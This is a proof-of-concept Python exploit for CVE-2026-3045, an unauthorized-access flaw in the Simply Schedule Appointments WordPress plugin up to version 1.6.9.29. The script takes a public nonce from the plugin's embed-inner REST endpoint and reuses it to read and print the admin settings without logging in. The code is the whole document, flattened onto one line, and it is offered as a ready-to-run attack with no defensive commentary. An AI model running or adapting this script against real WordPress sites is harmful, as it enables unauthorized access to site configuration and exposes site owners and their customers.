CVE-2026-3045 WordPress Simply Schedule Appointments 未授权访问漏洞

import requests # CVE-2026-3045 PoC - Unauthorized access to WordPress plugin settings # Target: Simply Schedule Appointments plugin <= 1.6.9.29 TARGET_URL = "http://target-wordpress-site.com" def exploit_cve_2026_3045(): # Step 1: Get public_nonce from the exposed endpoint embed_url = f"{TARGET_URL}/wp-json/ssa/v1/embed-inner" try: response = requests.get(embed_url, timeout=10) if response.status_code == 200: data = response.json() public_nonce = data.get('public_nonce') print(f"[+] Obtained public_nonce: {public_nonce}") # Step 2: Access admin settings using the public nonce settings_url = f"{TARGET_URL}/wp-json/ssa/v1/settings/admin" headers = { 'X-WP-Nonce': public_nonce } settings_response = requests.get(settings_url, headers=headers, timeout=10) if settings_response.status_code == 200: settings = settings_response.json() print(f"[+] Successfully accessed admin settings!") print(f"[+] Settings data: {settings}") return settings except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": exploit_cve_2026_3045()